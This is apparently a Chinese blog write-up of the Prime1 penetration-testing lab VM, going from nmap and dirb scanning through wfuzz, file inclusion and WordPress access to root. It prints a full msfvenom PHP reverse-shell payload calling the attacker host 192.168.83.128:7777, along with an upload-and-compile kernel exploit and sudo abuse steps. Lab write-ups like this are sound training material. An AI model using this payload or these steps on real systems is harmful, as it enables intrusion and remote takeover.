prime1靶场渗透

一:信息收集

1.主机发现(namp扫描):

为获得靶机的ip网段,靶机默认的是nat模式,那它的网段就是默认的虚拟网段

192.168.83.0 只有最后一段是不知道的

使用namp扫描

扫描c段存活主机 nmap -sP 192.168.83.1/24

每一段都是二进制的8位0或1 子网掩码 ip是通过十进制转换 1/24指的是1到255

在实际中应该是要做尝试的,但是这里由于是用我自己的虚拟机,所以可以确定是130的

2.扫描开放端口(nmap扫描)

因为当我们获得到它的主机以后,就要开始寻找它的漏洞,一般有软件的漏洞,系统的漏洞

软件漏洞多,但是前提是要知道它提供了些什么服务,因此要扫描端口,端口---程序,服务

nmap -p 1-65535 -A 192.168.83.130

22端口--ssh远程连接

利用:在靶机有个登录界面,有用户名,但是没有密码,可以利用这个爆破

80端口 open http --常见的web服务端口

利用:进行web攻击,爆破,对应服务器版本漏洞

先从80端口入手。

http://192.168.83.130/index.php

拿到一个网页的思路:

F12 源码 HTTP(无果) or 目录扫描(√)

3.dirb目录爆破

使用dirb扫描工具

对wordpress子目录的扫描

得到的有用信息:

  • 去尝试访问上面扫出来的
  • 使用了kali默认的字典 /usr/share/dirb/wordlists/common.txt

访问http://192.168.83.130/dev

扫特定的扩展名,一些比较特殊的

例如config.php password.txt src.zip ..

dirb http://192.168.83.130 -X .txt,.php,.zip

分析:image.php,index.php都是刚刚那个图片,

得到提示信息:

对于php文件做更多的fuzz,找到正确的参数parameter

可以使用fuzz工具,比如git的:Fuzz_For_Web

如果还是卡在这一步,去学学OSCP(Offensive Security Certified Professional)以Kali Linux 实际操作为主要内容的考试

如果找到location.txt的位置,就知道下一步怎么做(先记住它,后面会用到)

!!什么是fuzz,模糊测试,是一种软件测试方法,旨在发现应用程序或系统中的漏洞和错误。它通过自动化生成大量的无效、随机或非预期的输入来测试目标应用程序的鲁棒性和稳定性。模糊测试是一种黑盒测试技术,测试人员不需要了解应用程序的内部工作原理。

用法:

  • 目录扫描
  • 密码爆破
  • 找参数
  • 压力测试

4.wfuzz参数爆破

利用wfuzz找参数,针对所有php文件进行找

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something 用FUZZ来占位?后面的参数名

fuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.83.130/index.php?FUZZ

实在不行肉眼找也行的其实

用参数筛选

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.83.130/index.php?FUZZ

5.web渗透

1.文件包含漏洞

file? 参数是file好耳熟啊 --文件包含漏洞

http://192.168.83.130/index.php?file=xxx

xxx是啥呢,往前面的线索看,location.txt

http://192.168.83.130/index.php?file=location.txt

http://192.168.83.130/image.php?secrettier360=/etc/passwd 敏感!

没换行/(ㄒoㄒ)/~~

in my directory??? 思考。。o_o ....误入歧途把之前那个字典带进去了,一头雾水试错了很多

好叭,这句话在最初的界面其实又出现😳 /home/saket/password.txt

芜湖!好叭输进去还不是乌版图界面的密码。那这个到底是谁的密码呢?

2.wordpress后台拿shell

回到最初目录扫描出来的另一个!!!

!访问博客程序, http://192.168.83.130/wordpress/

用户名?

如果用户名很难发现怎么办???

利用wpscan

wpscan --url http://192.168.83.130/wordpress/ --enumerate u

用户名:victor 密码:follow_the_ippsec

在wordpress系统里怎么提权啊?不知道乌版图界面的密码是什么,只能通过提权

上传木马

找到插件功能处, 首先尝试插件上传功能, 判断是否存在文件上传漏洞

这里要求我们上传zip格式的文件, 随便上传一个压缩文件, 然后点击install Now上传

文件上传失败, 提示父级目录没有写的权限

既然文件上传不行, 那么就从主题编辑入手, 依次排查所有主题文件, 寻找能够编辑(拥有写的权限)的页面, 最终发现secret.php可以编辑

这些都是没有编辑功能的,找啊找啊,只有secret的那个有,上传反弹木马,可以使靶机自己连接到我的攻击机,而且它要比一句话木马稳定很多,至于反弹连接木马去GitHub里找找

反弹连接木马(Reverse Shell)是一种计算机安全中常见的攻击技术,它涉及建立一个由受害者计算机主动连接到攻击者控制的远程计算机的网络连接。

在反弹连接木马攻击中,攻击者通常会在受害者计算机上运行一个特制的恶意程序,该程序会尝试主动与攻击者控制的远程计算机建立连接。一旦连接建立成功,攻击者可以获得对受害者计算机的远程控制权限,并执行各种恶意活动,如获取敏感信息、执行命令、操纵文件系统等。

反弹连接木马通常涉及两个关键步骤:

  1. 受害者计算机上的恶意程序的执行:攻击者必须在受害者计算机上成功运行恶意程序。这可以通过各种手段实现,如社会工程、漏洞利用、恶意附件等。一旦该程序在受害者计算机上运行,它将尝试与攻击者控制的远程服务器建立连接。
  2. 攻击者控制的远程服务器:攻击者需要在远程服务器上监听反弹连接请求,并处理与受害者计算机之间的通信。一旦连接建立成功,攻击者获得对受害者计算机的控制权限。攻击者可以使用命令行界面或其他工具与受害者计算机进行交互,并执行攻击行为。

  1. 在kali攻击机上nc socat监听一个端口,例如7777
  2. 在靶机上访问php文件,建立连接
  • 综上可以用msf合二为一,一次生成完成。

3.使用msfvenom 生成反弹连接木马

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.83.128 lport=7777 -o shell.php

<?php /**/ error_reporting(0); $ip = '192.168.83.128'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

4.利用msf在kali攻击机上进行监听

启动msf

msfconsole

有这些模块,这里我们要使用exploit的监听模块

监听做好了,等鱼儿上钩了

我们可以通过搭建wordpress框架的网站来获取主题文件的网页路径, 这里secret.php的路径是http://192.168.83.130/wordpress/wp-content/themes/twentynineteen/secret.php

靶机的ip

meterpreter > getuid(查看用户) 不能在Linux里用

meterpreter > sysinfo(查看操作系统)

meterpreter > ls(网站部署的文件)

最终的目标是获取到root的权限

5.获取到root权限的方法与尝试

怎么提升到root权限呢?

  1. 系统内核漏洞(溢出)√
  2. sudo -l √
  3. Is -a find /
  4. history

msf6 > searchsploit 16.04 Ubuntu

好叭,这里我是小丑,下面认真看它的版本号,这个乌版图系统已经从以前的4.10更新升级位4.15了,所以看以前别人帖子里的方法已经不适用了,但是我觉得这个方法也挺好的,也学学叭假如,我是说假如,它的系统是4.10就可以用这个方法,真的很方便耶!

linux/local这里都是针对这个版本编译好的脚本,就是msf里头的编译好的c语言脚本,关于刚刚输入的版本,刚好是local privilege 提权!linux/local/45010.c符合!!

把这个脚本拷贝到靶机上去,再把它编译成可执行程序

cd /usr/share/exploitdb/exploits/linux/local/

cp /usr/share/exploitdb/exploits/linux/local/45010.c ./

gcc 45010.c -o 45010

这个可执行程序在我的kali里,如果把它在靶机上执行呢?metepreter上的upload可以

meterpreter > upload /root/45010 /tmp/45010

为什么要下载在tmp目录里,因为任何一个用户都在tmp目录下有读写的权限

记得!meterpreter只是一个介于靶机和攻击机之间的一个桥梁,它不可以直接去代替靶机就去执行这个可执行程序的,需要重新打开一个shell窗口进入靶机

发现可执行程序已经传上来了,但是没有可执行的权限 提权

chmod +x 45010

然后假如是4.10版本的话就这样提权成功了,but好叭回到现实,想想其他办法提权了,版本是4.15啊。。

可用方法(探索):

1.查看权限

用sudo提权,它可以无密码执行/home/saket/enc,进入看看叭

执行enc文件, 随后要求输入当前用户的密码, 尝试输入password.txt里面的密码, 提示文件执行失败, 说明这个密码是错误的,我们还需要在此系统下深挖正确的密码

2.搜索密码备份文件

执行如下命令, 寻找系统的所有备份文件, 因为有时候管理员会在系统留有密码备份文件

find / -name '*backup*' 2>/dev/null | less| sort

find / -name '*backup*':这个命令在根目录(即 /)中搜索文件。-name 选项指定了搜索的文件名模式,在这里是 '*backup*'。这个模式表示任何文件名包含字符串 “backup” 的文件。find 命令会返回所有符合条件的文件的路径。

2>/dev/null: /dev/null 是一个特殊的文件,它的作用是丢弃所有写入它的数据。即将错误输出重定向到 /dev/null 就相当于丢弃所有错误信息(例如权限不足),只保留正常输出

| less:管道符(|)将前一个命令的输出传递给后一个命令。在这里,less 命令是一个文本浏览器,它可以让你在终端中浏览文本文件。将 find 的输出传递给 less 可以让你在终端中更方便地查看找到的文件的路径。

sort:这个命令对前一个命令的输出进行排序。在这里,它将找到的文件的路径按字母顺序排序。

从上述结果来看, 此系统存在很多备份文件, 而我们要寻找的是文件名带有user或者pass这种比较可疑的, 例如/opt/backup/server_database/backup_pass

查看/opt/backup/server_database/backup_pass, 文件提示: enc文件密码为"backup_password"

3.openssl解密

使用sudo执行enc,输入密码,随后生成enc.txt和key.txt两个文件

首先查看enc.txt,文件内容是一段base64加密的字符串

再查看key.txt文件。内容提示需要对"ippsec"字符串进行md5加密

对"ippsec"字符串进行md5加密: echo -n "ippsec" | md5sum, 加密后的字符串为366a74cb3c959de17d61db30591c39d1

echo -n 表示 echo 命令不要输出换行符。这样,输出的字符串就不会换行,而是和 md5sum 的输出在同一行

在ctf靶场中看到enc和key这两个关键字, 第一时间就该想到openssl加解密, 也就是说要使用openssl命令, 通过key值去解密enc文件的加密字符串

首先查看openssl命令中支持哪些算法: openssl --help

for i in $(cat CryptType); do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -$i -d -a -K 3336366137346362336339353964653137643631646233303539316333396431 -A -nopad 2>/dev/null; echo $i; done

  • for i in $(cat CryptType); do:这部分表示从名为CryptType的文件中读取内容,并对每个内容执行后续的操作。$i是读取的每个内容。
  • echo ‘nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=’:这部分是要解密的密文,它被传递给openssl命令。
  • openssl enc -$i -d -a -K 3336366137346362336339353964653137643631646233303539316333396431 -A -nopad 2>/dev/null:这部分使用openssl命令进行解密操作。-$i表示使用特定的加密算法,-d表示解密,-a表示输入输出是Base64编码,-K表示提供解密所需的密钥,-A表示输出结果使用Base64的格式,-nopad表示不进行填充。2>/dev/null用于将任何错误输出重定向到空设备,以便不显示在屏幕上。
  • echo $i:该命令在每次解密后输出对应的加密算法标识符。

综合来看,该命令会使用CryptType文件中的加密算法标识符列表逐个尝试解密给定的密文,并输出解密算法的标识符。

ssh远程登录saket用户,并输入刚刚解密得到的密码

这里√为了获取一个交互性更好的shell,课使用python命令:python -c 'import pty;pty.spawn("/bin/bash")'

进入主目录,cd /home/victor

查看当前用户权限 sudo -l 发现可以使用root权限无密码执行/home/victor/undefeated_victor

执行此文件提示没有/tmp/challenge,它暗示我们去创建一个

#!/bin/bash 是一个特殊注释行,称为 shebang。它在脚本文件的开头使用,并指定要用于解释和执行脚本的解释器。

在这种情况下,/bin/bash 是指定要用于解释和执行脚本的解释器的路径。这意味着脚本将使用 Bash 解释器来执行。Bash 是一种常见的 Unix shell 和脚本语言,提供了强大的命令行功能和脚本编程能力。

/bin/bash 代表了 Bash 解释器的路径,如果脚本中包含了这段代码,那么执行该脚本时会使用 Bash 解释器来运行脚本中的命令。

两段代码的作用是一样的,都是指定脚本使用 Bash 解释器来执行。#!/bin/bash 是更常见和推荐的写法,因为在大多数 Unix-like 系统中,Bash 解释器的路径通常是 /bin/bash。

总结:这两段代码都指定了使用 Bash 解释器来执行脚本,#!/bin/bash 是更常见的写法

总结与思考:

  • 熟悉了整个渗透的过程,特别是整个渗透的思路,比如先主机发现,进而对端口进行攻击的利用,再目录扫描,分析+尝试,接触到了很多常见的渗透工具,还有一些命令用法,以及比如在渗透过程遇到的很多困难,比如我遇到的版本更新导致一些方法的不适应,所以这也需要对很多方法的积累与联系
  • root权限提升那一块那需要多多练习,还有一些基本漏洞的原理和运用还要再熟悉一下
  • 感觉其实实际操作中真正的hacker是遇到各种问题的,我们做的题目打的靶场都是理想化,现实是很复杂化的,如果假如我名称就叫root但我又不是真正的root,这个时候我去提权,假如提权失败,或者还未提权,我去问它whoami,然后它还是会告诉我root,但是我又不是真正的root,所以还是很复杂滴,还是要对下面测试尝试的,当然在那一刻会很欢喜啊是root耶,结果不是哈哈。蒜咯,多多练习叭,姜还是老的辣啊。

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值